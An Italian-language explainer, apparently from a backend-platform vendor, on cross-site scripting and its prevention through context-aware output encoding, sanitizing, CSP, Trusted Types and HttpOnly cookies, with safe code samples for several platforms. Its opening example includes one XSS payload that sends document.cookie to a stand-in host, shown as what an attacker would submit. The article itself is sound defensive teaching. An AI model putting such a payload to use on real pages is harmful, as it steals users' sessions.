Che cos'è il Cross-Site Scripting (XSS) – e come si previene?

Il cross-site scripting è un attacco che inietta script malevoli in pagine fidate; prevenirlo significa codificare l’output in base al contesto. Il browser è vittima della propria fiducia: uno script che arriva dentro una pagina servita da un’origin legittima viene eseguito con tutti i poteri di quella pagina – sessione, archiviazione, ogni azione che l’utente può compiere. A tre decenni di distanza, CWE-79 resta in testa alle classifiche delle debolezze più pericolose, perché la causa profonda si commette un template alla volta: input non fidato che raggiunge l’output senza encoding.

Punti chiave

Una riga vulnerabile

// Il bug – i dati utente incontrano un sink HTML
commentEl.innerHTML = comment.text;
// Payload che prima o poi qualcuno invierà:
//   <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
// Il browser di ogni lettore lo esegue, con la sessione del lettore.

// La correzione – stessi dati, contesto testo
commentEl.textContent = comment.text;   // il markup si mostra; non viene mai eseguito

La disciplina che sta dietro a quella correzione – archiviare grezzo, rendere sicuro – su tutto lo stack:

// JavaScript / Node.js — Back4app JS SDK + browser
// Store RAW, render SAFE — encoding happens at output, not at save
const comment = new Parse.Object('Comment');
comment.set('text', userInput); // saved as-is: O'Brien, 1 < 2, all fine
await comment.save();

// Rendering: textContent treats it as text — markup never executes
commentEl.textContent = comment.get('text'); // safe by construction
// commentEl.innerHTML = comment.get('text'); // ← the XSS sink

// Flutter / Dart — Back4app Flutter SDK
// Store RAW, render SAFE — Flutter's Text() treats data as text, not markup
final comment = ParseObject('Comment')..set('text', userInput);
await comment.save(); // saved as-is — no encoding at write time

// Text() cannot execute markup — XSS needs an HTML context to exist
Text(comment.get<String>('text') ?? '');
// Danger returns with WebViews: never loadHtmlString() raw user content

// iOS / Swift — Back4app Swift SDK
// Store RAW, render SAFE — UILabel treats data as text, not markup
var comment = Comment()
comment.text = userInput
try await comment.save() // saved as-is — no encoding at write time

label.text = comment.text // safe: text, not HTML
// Danger returns with WKWebView: never loadHTMLString() raw user content

// Android / Kotlin — Back4app Android SDK
// Store RAW, render SAFE — TextView treats data as text, not markup
val comment = ParseObject("Comment")
comment.put("text", userInput)
comment.save() // saved as-is — no encoding at write time

textView.text = comment.getString("text") // safe: text, not HTML
// Danger returns with WebViews: never loadData() with raw user content

XSS stored vs. reflected vs. DOM-based

La difesa principale: encoding dell’output sensibile al contesto

La regola distintiva, detta chiaramente visto che le fonti di riferimento la seppelliscono: la stessa stringa è innocua in un posto e letale in un altro – ed è per questo che l’encoding avviene all’output, per destinazione, e per questo la sola validazione dell’input fallisce sempre: al momento dell’input il contesto non è noto, le blocklist perdono contro i trucchi di encoding, e dati legittimi (O'Brien, 1 < 2) si rompono sotto una validazione eretta a misura di sicurezza.

Quando gli utenti scrivono legittimamente HTML – testo ricco, markdown – l’encoding lo distruggerebbe; è l’unico compito del sanitizing: una libreria mantenuta (DOMPurify) rimuove le costruzioni eseguibili, e l’output va usato così com’è – ritoccare una stringa già sanitizzata annulla il sanitizing.

Framework: escape per impostazione predefinita, insicuri per via d’uscita

I framework moderni hanno mandato in pensione il grosso dell’XSS classico: i valori interpolati subiscono escape automatico. Due clausole in piccolo tengono in vita il bug. Primo, ogni framework fornisce un aggiramento, e ciascuno è un bersaglio da grep in code review:

Secondo, l’escape automatico copre soltanto il contesto del corpo HTML: un href legato a dati utente esegue ancora gli URL javascript:, e l’inserimento in uno script inline richiede ancora un encoding adatto al contesto JS. La risposta sul piano del workflow: sanitizzare prima di qualunque via d’uscita, validare lo schema degli URL nei link legati a dati e passare le vie d’uscita al linter (react/no-danger e simili), perché le eccezioni restino deliberate.

Difesa in profondità: CSP, Trusted Types, HttpOnly

Le reti di sicurezza, presentate con onestà. Una Content Security Policy stretta blocca gli script inline iniettati anche quando un bug finisce in produzione:

Content-Security-Policy:
  script-src 'nonce-{random-per-response}' 'strict-dynamic';
  object-src 'none'; base-uri 'none'

Basata su nonce, non su allowlist: gli elenchi di host autorizzati si aggirano abbastanza spesso perché il cheat sheet di OWASP insista sul fatto che la CSP non dovrebbe essere la difesa principale. Conviene distribuirla prima in modalità Report-Only. Trusted Types (require-trusted-types-for 'script') va più lontano contro l’XSS DOM-based: i sink pericolosi come innerHTML rifiutano di netto le stringhe semplici, costringendo tutto l’HTML a passare per una sola policy verificabile. E i cookie HttpOnly proteggono esattamente una cosa – gli script iniettati non possono leggere il cookie di sessione – cosa che conta, perché i token in localStorage distano un localStorage.getItem dall’esfiltrazione: le indicazioni sull’archiviazione dei JWT e questo articolo sono lo stesso argomento visto dai due lati. Nessuno dei tre corregge il bug; tutti e tre riducono quanto vale.

La parte del backend

L’XSS passa per un problema di frontend; una parte spetta però all’API. Archiviare grezzo, codificare all’output – codificare in scrittura corrompe i dati, provoca un doppio encoding negli andirivieni e manca comunque i contesti che non erano stati previsti. Disciplina del Content-Type: le risposte JSON dichiarano Content-Type: application/json insieme a X-Content-Type-Options: nosniff, perché un parametro riflesso in una risposta che il browser accetta di interpretare come HTML è XSS con qualche passaggio in più. Le pagine di errore che rimandano in eco l’URL o i parametri sono il classico sink reflected che nessuno rilegge in code review. E la trappola vicina che merita una frase: rendere un input utente come template invece che come dato supera l’XSS e diventa una server-side template injection – un input utente è un dato di template, mai codice di template.

Casi d’uso tipici

Dove queste difese si guadagnano lo stipendio:

• Commenti, recensioni, messaggi – territorio dell’XSS stored: codificare al rendering, in ogni punto in cui appaiono.
• Testo ricco e markdown – il caso dell’HTML legittimo: sanitizzare al rendering e tenere aggiornato il sanitizer.
• Ricerca, filtri, pagine di errore – territorio reflected: tutto ciò che rimanda in eco i dati della richiesta li codifica.
• SPA che fanno routing sullo stato dell’URL – territorio DOM: i dati del fragment e della query string non incontrano mai innerHTML senza sanitizing.
• WebView mobile – la superficie XSS dell’app nativa: non caricare mai contenuto utente grezzo come HTML.

Quale difesa per prima? Matrice decisionale

Limiti e trade-off

• L’encoding deve corrispondere esattamente al contesto. Codificare in HTML un dato inserito in un URL o in un blocco di script è il pattern della falsa sicurezza – difesa giusta, contesto sbagliato, ancora sfruttabile.
• I sanitizer sono dipendenze. Gli aggiramenti vengono pubblicati; un sanitizer fermo a una versione obsoleta diventa silenziosamente una vulnerabilità con un changelog.
• La CSP costa ingegneria. I nonce toccano ogni tag script e ogni handler inline; adottare una CSP stretta su una codebase legacy è un progetto a sé, ed è per questo che esiste il Report-Only.
• Trusted Types ha limiti di adozione. Funziona su tutti i browser attuali solo dall’inizio del 2026, quindi i browser più vecchi lo ignorano; va trattato come un irrigidimento sopra l’encoding, non come una garanzia.
• I WAF non sono la risposta. I filtri a corrispondenza di pattern intercettano i payload noti e mancano encoding e mutazioni; le indicazioni di OWASP li giudicano poco affidabili contro l’XSS.

Prevenzione dell’XSS su Back4app

Back4app è una piattaforma open-source di Backend as a Service (BaaS) che combina database gestito, API REST e GraphQL generate automaticamente, autenticazione, archiviazione di file e funzioni serverless con Cloud Code. La parte di disciplina che spetta al backend è integrata di serie: i dati sono archiviati grezzi e restituiti tramite API JSON con i Content-Type corretti – mai resi in HTML lato server – così la responsabilità dell’encoding all’output resta pulita nel livello UI, dove le schede di codice qui sopra mostrano il pattern archivia-grezzo/rendi-sicuro per ogni piattaforma. I controlli sul raggio d’impatto sono già attivi: le sessioni si appoggiano a token revocabili invece che a credenziali di lunga durata in localStorage, e le ACL insieme ai permessi di classe delimitano ciò che qualunque script in esecuzione come un utente potrebbe toccare – un payload iniettato eredita i permessi della vittima, non il database. Cloud Code è la casa giusta per l’igiene lato server che resta: validare i campi URL contro allowlist di schemi e sanitizzare una volta sola i campi di testo ricco, in beforeSave, perché ogni client renda lo stesso contenuto già difeso.